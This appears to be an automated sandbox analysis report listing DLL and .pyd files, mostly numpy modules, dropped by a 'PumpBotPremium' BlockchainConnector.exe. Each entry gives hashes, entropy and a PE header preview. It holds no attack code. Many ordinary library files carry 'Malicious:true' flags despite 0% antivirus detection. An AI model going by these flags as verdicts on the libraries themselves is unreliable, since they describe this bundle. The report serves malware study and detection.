                                                                                                                                                                                                                                                SSDEEP:12288:xI88L4Wu4+oJ+xc39ax5Ms4ETs3rxSvYcRkdQEKZm+jWodEEVh51:xD89rxZfQEKZm+jWodEEP5
                                                                                                                                                                                                                                                MD5:01B946A2EDC5CC166DE018DBB754B69C
                                                                                                                                                                                                                                                SHA1:DBE09B7B9AB2D1A61EF63395111D2EB9B04F0A46
                                                                                                                                                                                                                                                SHA-256:88F55D86B50B0A7E55E71AD2D8F7552146BA26E927230DAF2E26AD3A971973C5
                                                                                                                                                                                                                                                SHA-512:65DC3F32FAF30E62DFDECB72775DF870AF4C3A32A0BF576ED1AAAE4B16AC6897B62B19E01DC2BF46F46FBE3F475C061F79CBE987EDA583FEE1817070779860E5
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........LS..-=..-=..-=.....-=..U...-=..-<.k-=.gB<..-=.gB9..-=.gB>..-=.gB8.=-=.gB=..-=.gB..-=.gB?..-=.Rich.-=.........PE..d.....t^.........." .....@..........."...............................................z....`A.........................................j..h....D..,...............L;...... A......(...@...8...............................0............P.......f..@....................text...,>.......@.................. ..`.rdata..r....P.......D..............@..@.data....:...`..."...N..............@....pdata..L;.......<...p..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\msvcp140_1.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):31728
                                                                                                                                                                                                                                                Entropy (8bit):6.499754548353504
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:rOY/H1SbuIqnX8ndnWc95gW3C8c+pBj0HRN7bULkcyHRN7rxTO6iuQl9xiv:yYIBqnMdxxWd4urv
                                                                                                                                                                                                                                                MD5:0FE6D52EB94C848FE258DC0EC9FF4C11
                                                                                                                                                                                                                                                SHA1:95CC74C64AB80785F3893D61A73B8A958D24DA29
                                                                                                                                                                                                                                                SHA-256:446C48C1224C289BD3080087FE15D6759416D64F4136ADDF30086ABD5415D83F
                                                                                                                                                                                                                                                SHA-512:C39A134210E314627B0F2072F4FFC9B2CE060D44D3365D11D8C1FE908B3B9403EBDD6F33E67D556BD052338D0ED3D5F16B54D628E8290FD3A155F55D36019A86
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.{.zl..zl..zl......xl..s...~l.....}l.....xl..zl..Ql......l.....il.....{l.....{l.....{l..Richzl..................PE..d.....t^.........." .........$......p.....................................................`A........................................p>..L....?..x....p.......`..X....:...A......p...P3..8............................3..0............0..@............................text............................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..X....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\.libs\libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):35818505
                                                                                                                                                                                                                                                Entropy (8bit):6.327902691528042
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:196608:rxLAe3TZlzOI/4zLb4dTtT1muO2GSm4EVBXoJvROQxRBNV1BUG9BFePKLFNe5NF+:ffeDF2Z
                                                                                                                                                                                                                                                MD5:A77007FF2124C82858103640C493B22B
                                                                                                                                                                                                                                                SHA1:2FDBFE72118ECCEEEF1539970F1972FF88B304AC
                                                                                                                                                                                                                                                SHA-256:3BE12D2DAE83027DC6C6CEE9DFBF9DA4040897C469B755DB49415A3EFB23CF09
                                                                                                                                                                                                                                                SHA-512:AC7568D943564C57E2E8CB318B27551C9DBF72E340E6DDB0768B29BE77104A5BEA6BC08FF0A4F820AA0B40022FC888A22A45BD078BCEC630C9150B0EC04B1D26
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...$G.a..........& .....z...R......0......... m.............................`.......o#....... ...................................... .........t............0...#...............Q..............................(...................(................................text....y.......z..................`..`.data...P...........................@.`..rdata.. x.......z..................@.p@.pdata...#...0...$..................@.0@.xdata..h!...`..."...8..............@.0@.bss....`.............................`..edata...... .......Z..............@.0@.idata..t...........................@.0..CRT....`...........................@.@..tls................................@.@..reloc...Q.......R..................@.0B/4...........`.......X..............@.PB/19.....-a...p...b...\..............@..B/31.................................@..B/45......I.......J..................@..B/57.....

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\core\_multiarray_tests.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):118272
                                                                                                                                                                                                                                                Entropy (8bit):6.202878330778971
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:Z+KBzxFlU5ejfqHKnxZL6Qns57ZAOtvByPjUTmSPLPuczC4b:xhWHs7nEAUPTmSPLWcu4
                                                                                                                                                                                                                                                MD5:751DFEF14C0C3CBAA5A4868CDCB80934
                                                                                                                                                                                                                                                SHA1:F4B1966C3987567083953A7877F2F15034D80F8E
                                                                                                                                                                                                                                                SHA-256:43FB14B504F6114D07D2811766F1493F808935B7DD65216476E1F2F75702B93E
                                                                                                                                                                                                                                                SHA-512:57BE2E1D9F8ACC73B18264C90561DBE3FF9631CEE146217DD0F80D58529D83283390B2DA38992B1CFE6A2EF8EDB5BF4F26BFBAB3B1EFFF3BDB10059549964D20
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Z.!.;.r.;.r.;.r.Chr.;.r.N.s.;.r[I.s.;.r.T.r.;.r.N.s.;.r.N.s.;.r.N.s.;.r1N.s.;.r.;.rU;.r2N.s.;.r2N.s.;.r2N.s.;.r2N.r.;.r2N.s.;.rRich.;.r........PE..d....F.a.........." .....R...~............................................... ............`.................................................,...................P....................z...............................z..8............p...............................text...(P.......R.................. ..`.rdata...:...p...<...V..............@..@.data...x+.......&..................@....pdata..P...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\core\_multiarray_umath.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2989568
                                                                                                                                                                                                                                                Entropy (8bit):6.547123088829209
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:I8Ov4LdZXipkHNrsBcDU65i/Kq0mXNLgHxNK:XL1rGcAjQN
                                                                                                                                                                                                                                                MD5:FD048AABFB6204E44AA8B0ECFA4855B1
                                                                                                                                                                                                                                                SHA1:AF321C84902AEE10F4AF03FA2C924B5075ADBFAA
                                                                                                                                                                                                                                                SHA-256:047D54E7BAD0D514292FC963C4AF9934BDA1BE6104E62A5B1E2120DA4DBF787A
                                                                                                                                                                                                                                                SHA-512:08C87E70634389D75175CDB8C3D1F481B59601A9556AB3D51B3660AD439E69DCEBB6F5B15245ABA80F782EE92B27A3102081BF3EF1A9A3B352AE76D022241A10
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.z...)...)...).{.)...).v.(...)Jq.(...).l})...).v.(...).v.(...).v.(...) v.(...)#v.(...)...)s..)#v.(...)#v.(...)#v.(...)#v.)...)#v.(...)Rich...)........PE..d...MG.a.........." ......"..........`......................................../...........`.........................................p+%.t....+%.,...../.......-.8............./. $..@b".............................`b".8............0"..............................text...8."......."................. ..`.rdata..d-...0".......".............@..@.data...xS...`%..P...L%.............@....pdata..8.....-.......+.............@..@.rsrc........./......v-.............@..@.reloc.. $..../..&...x-.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\fft\_pocketfft_internal.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):116736
                                                                                                                                                                                                                                                Entropy (8bit):6.184904717755863
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:N1u8uGHEV2A8wl+WYdIYEIcpd5MsmTZY5TZZXZuyisJDwTXP3Zli:N48r621wcrdIpdmbVY5VZXosyTXBli
                                                                                                                                                                                                                                                MD5:6FE3CD313A725412F423FE72A2418657
                                                                                                                                                                                                                                                SHA1:D86230F04428AAE462170F18D2A796374AE02C55
                                                                                                                                                                                                                                                SHA-256:E6DBECD4B042CF8992A19C655DA7019B8F10BDB0662B7144EC9004B468B5F435
                                                                                                                                                                                                                                                SHA-512:38A14B7770D466D5CA5D5E0FB1FEED7DCBD2FA25E3E81297B2BAC53CC6EB883F22E43F0D3D45E4C8E88DB604C7F12352A3605ACD9CC243B0F27D8564B6C78049
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................................u..........................................................j............Rich............PE..d...]G.a.........." .........:......P.....................................................`.........................................@...x.......................l...............<...`...................................8............................................text............................... ..`.rdata..@ ......."..................@..@.data... ...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\linalg\_umath_linalg.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):168960
                                                                                                                                                                                                                                                Entropy (8bit):6.402314317235315
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:4xTIInbbHPAtIF2fpbmA0iKjhtigRc2JvUY30dGbl/yA:4xTfXHPOohtbRnV0dAy
                                                                                                                                                                                                                                                MD5:FD21D5634CD72DC2A4D6FC0C8A93BBE1
                                                                                                                                                                                                                                                SHA1:BED5C9BE60098A9423389B7159ADF50F6E2E494A
                                                                                                                                                                                                                                                SHA-256:7F5552291752A06113DD9AB580AE8465CC38ED6D09CE4D944EBDBC528F2495C2
                                                                                                                                                                                                                                                SHA-512:84858D40C4A1BCEB63D75106610B73B870602DD22515456C1404EAF777CD7B686F08C84FA886ABFB59E5BF6B3C3E5D40BE7364FE7DD12E4FE3C1F4B49CA31DAC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.n.v...v...v.......~...$...t.......t.......w...$...z...$...~...$...u.......t.......u...v...........u.......w.......w.......w.......w...Richv...........PE..d..._G.a.........." ................p.....................................................`..........................................b..l...\c.......................................9...............................9..8............0...............................text............................... ..`.rdata..XB...0...D..................@..@.data...x!...........^..............@....pdata...............x..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_bounded_integers.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):251904
                                                                                                                                                                                                                                                Entropy (8bit):6.446822526849366
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:KXUycMEBewlPavBBlaX0GOyotiUmvKus+jwTpNj:5FPavBB4X0G1otiXPDjw
                                                                                                                                                                                                                                                MD5:F7A41CE8D0418796F7BE4A13B1E4D756
                                                                                                                                                                                                                                                SHA1:57D7381EC3B0537914E27097A3401CE1F4F6B720
                                                                                                                                                                                                                                                SHA-256:4B240FC16E922FC6AE5BFD4534788F78D3329E75E86D09AC24242C62B198E63A
                                                                                                                                                                                                                                                SHA-512:A8C316B8CE6CA3E11F31C1FBCA1A128D79820BB902B7F85EC20A45640B7C62E3AFC9A59CC5E0BF85BE2919DACB8FDAEB3762A48AEC67C3EF76BB03F8D236A75C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........B..............8............u......................................p..........................T............Rich....................PE..d....G.a.........." ................p|.......................................@............`.........................................0... ...P...x.... .......................0..\...Hv..............................pv..8............ ..P............................text............................... ..`.rdata....... ......................@..@.data....8......."..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..\....0......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_common.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):182784
                                                                                                                                                                                                                                                Entropy (8bit):6.119753294560959
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:u6EkeGFXP0xgNJOhXVBvFL2N+GuH+60DEdEDb3PC5:vFZKgNJCXVB9CN+GueRb
                                                                                                                                                                                                                                                MD5:7F3FC8798659A90B5654441DFDD7BA66
                                                                                                                                                                                                                                                SHA1:F760A2813FDC608D45054E77C6A4E54C9DF3921A
                                                                                                                                                                                                                                                SHA-256:002F8AD96921B458DED42F447BD75CC5D0FA4925F81E4B86FFECFC2C095DB2D1
                                                                                                                                                                                                                                                SHA-512:186A8DD1DD2981A72D55E5D882358F77B75C8B32E9D6499407B0486E7CC8C4C2F05134BBD06391FD6C2B831945C364614D4AD7230AE4A5B32CBFCBEFB98EC42E
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VL.U.-...-...-...US..-..@X...-..._...-..@X...-..@X...-..@X...-...X...-...-...-...X...-...X...-...X?..-...X...-..Rich.-..........PE..d...hG.a.........." .....@..........P.....................................................`......................................... r..`....r..d...............................l....^..............................0^..8............P...............................text....>.......@.................. ..`.rdata...7...P...8...D..............@..@.data....N.......<...|..............@....pdata..............................@..@.rsrc...............................@..@.reloc..l...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_generator.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):691200
                                                                                                                                                                                                                                                Entropy (8bit):6.318647704262624
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:y5k6TpXHZlJw/MrkjwyWt7AbKuDYVS0gAlQl:h6TH/w/0wjWGZDYV7Rc
                                                                                                                                                                                                                                                MD5:EB35B6FAED5F36DADB93FBCFBDEA3AB0
                                                                                                                                                                                                                                                SHA1:092CC95E7B748051AA37896F8185D46A11AD0E8D
                                                                                                                                                                                                                                                SHA-256:886BAC3BB98575F25A262CFFB980AD40BB3E883BCDABA6C3B0ACD83D6B3611A2
                                                                                                                                                                                                                                                SHA-512:B2427A88EDCF1F1C1CCF8DF54D0ED1C2A7845522B6D67B7F464ABBCCA66B253B91D2A2D98185318FC27A5A2DF134A49FA7636062EB0E04B5F52853135CBD653F
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*...n...n...n...g.d.f...<...l......l...<...b...<...f...<...m......m...n...G......h......o......o......o......o...Richn...........................PE..d...vG.a.........." ................0.....................................................`......................................... ............................%..................pO...............................O..8............................................text...X........................... ..`.rdata..............................@..@.data...8...........................@....pdata...%.......&...X..............@..@.rsrc................~..............@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_mt19937.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):80896
                                                                                                                                                                                                                                                Entropy (8bit):6.130772967610917
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:nj+Cg5rYe1epxMWU682IEQCdR0M8LD4WPgmd0WXmkYt:niCYWU68HEQCdR0zLDEWXmrt
                                                                                                                                                                                                                                                MD5:9D08FC252C9CE559441D701EAF526D34
                                                                                                                                                                                                                                                SHA1:036C81BD6666C27747B40CF0089679CC33FC4637
                                                                                                                                                                                                                                                SHA-256:67D6946B0A7E169A2162AC7125F190A469E04AB2DE9EF090691B56C47AB0F759
                                                                                                                                                                                                                                                SHA-512:E910835F2BDD14B97F9FCAF15465D542FB4F6F7D50DD6A21EDFEB10021933D76F8DCE0CA30E7DEAA7E8657F922BDB34AE970F835259577B0972CF020DD050945
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@...........G.......................................c.........y...`......`......`.+....`......Rich...................PE..d...aG.a.........." ................P.....................................................`.............................................`...P...x....`.......P...............p......................................0...8............................................text............................... ..`.rdata...4.......6..................@..@.data....<.......4..................@....pdata.......P......................@..@.rsrc........`.......8..............@..@.reloc.......p.......:..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_pcg64.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):86016
                                                                                                                                                                                                                                                Entropy (8bit):6.0603400459676875
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:nj83tVmc8rZqTNYYZyynkEy9WDQ3sPvFEiQ6iyMAdZ7:nC8INYTynkEywDQ3sPvHMAdZ
                                                                                                                                                                                                                                                MD5:8FDBFEA1BE36BC2A62F63274BA84AC2A
                                                                                                                                                                                                                                                SHA1:1914F50790D8C98E905FCA691C65B8BBA0C9785F
                                                                                                                                                                                                                                                SHA-256:0A90FBFEB66D461C925C7E9DCD75142B27DEE24F9CE61C30079FC588E3CB626D
                                                                                                                                                                                                                                                SHA-512:742F56224D507E311ADA3939CE5D016DEDFD25A481DED30F77B8A31972674F7EC129DB2B40429C34CBAC843E81130AFC14927D24F34884F480502B80B1999B3C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y.[.8...8...8...@R..8...M...8..UJ...8...M...8...M...8...M...8..?M...8...8...8..<M...8..<M...8..<M>..8..<M...8..Rich.8..........................PE..d...cG.a.........." ................P.....................................................`.............................................\...\...d....p.......`..................l.......................................8...............p............................text............................... ..`.rdata...).......*..................@..@.data....O.......F..................@....pdata.......`.......B..............@..@.rsrc........p.......L..............@..@.reloc..l............N..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_philox.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):72192
                                                                                                                                                                                                                                                Entropy (8bit):5.974448947930513
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:G/FMGSHHD8gUrNC4X3FEUtDKh9gNjsPAxrjU:GtgHD8gmC4HGUtDKh9gNjs0rjU
                                                                                                                                                                                                                                                MD5:136551C7D57CB96CD5DE2C7B934F0E13
                                                                                                                                                                                                                                                SHA1:65D1947F46300C11E8642C7B0F4BEF7D5392672D
                                                                                                                                                                                                                                                SHA-256:5F36DCC4D8B877096BF4A4CF575E05860A3EC989CA177DFC5074DB6CFB03E5AB
                                                                                                                                                                                                                                                SHA-512:05CBD293C7C1FEE84FFD678D718DDCFAC09BEB0F1EE3929180F7C20E66DFEB02BC2204E5520308F310568136118BB4909BFDAF55946F7D952AA68F879E60B537
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.[.X...X...X... R..X...-...X..U*...X...-...X...-...X...-...X..?-...X...X...X..<-...X..<-...X..<->..X..<-...X..Rich.X..........PE..d...bG.a.........." .........z......P........................................p............`.........................................`...`.......d....P.......@..@............`..P...P...............................p...8............................................text............................... ..`.rdata...(.......*..................@..@.data....@.......8..................@....pdata..@....@......................@..@.rsrc........P......................@..@.reloc..P....`......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_sfc64.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):53760
                                                                                                                                                                                                                                                Entropy (8bit):5.836906684414675
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:768:dIUsjZzN+MciuBM0LwTYuMC9rZ3HNe/SfbB2AbTDxGnBLlprTalKhOuy:mpzoMciackuMCn3QHmTDxGnBLrullu
                                                                                                                                                                                                                                                MD5:6775E31A5A5ABD60557FA83C61618027
                                                                                                                                                                                                                                                SHA1:56CBB56F9CEEB6CDC1FE98F77042262AF0AE3F7A
                                                                                                                                                                                                                                                SHA-256:3F6DB2ED3F219102B43F6CF551746173E222C8A358C1F34F79744A88DF649D8B
                                                                                                                                                                                                                                                SHA-512:FDF2FE4A50DE191F0B60DBE218B8522194EAF2BAD2999E87B7EB0E9CF9C071A24D6FAA4DB87936322756E867B5395CD60381711C85FBC9933422B1F310DFF158
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y.[.............`R......m......uj.......m.......m.......m.......m..........3....m.......m.......m>......m......Rich............................PE..d...dG.a.........." .....|...\......P........................................ ............`.............................................\......d...................................x...................................8...............(............................text....{.......|.................. ..`.rdata..r$.......&..................@..@.data...`(....... ..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\bit_generator.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):158720
                                                                                                                                                                                                                                                Entropy (8bit):6.107673785230663
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:5KEsc6dBd+3Y0vVS+y6mX8o+SeRUWDH2+Warahk4hCqtnSk2+WarahISVoyd:nsbGY0d7oTeRP2+WarahkytnSk2+WarQ
                                                                                                                                                                                                                                                MD5:2559E08C77FF5C62BF2EA4419E1B950B
                                                                                                                                                                                                                                                SHA1:EDD5BC2DB3B38289279883F78DD88B932438DF97
                                                                                                                                                                                                                                                SHA-256:1DB30CADCF34DCC8D29445833798606ABC01BDD202F040E5DE179D044FA03E03
                                                                                                                                                                                                                                                SHA-512:0A8D4C4E90F9FAB27BB2823DCEC89A6150A915D81F3E7AC182AE4CB32756D5B55B33203F0D2B4106F85ECB92A79CF701D3C88E872A640FF8C1E1B507F018891C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VL.Y.-...-...-...U#..-..@X...-..._...-..@X...-..@X...-..@X...-...X...-...-...-...X...-...X...-...XO..-...X...-..Rich.-..........PE..d...mG.a.........." ................P.....................................................`......................................... ...l.......d...............T...............0...P...............................p...8............................................text...h........................... ..`.rdata...M.......N..................@..@.data............x..................@....pdata..T............T..............@..@.rsrc................d..............@..@.reloc..0............f..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\mtrand.pyd

                                                                                                                                                                                                                                                Download File
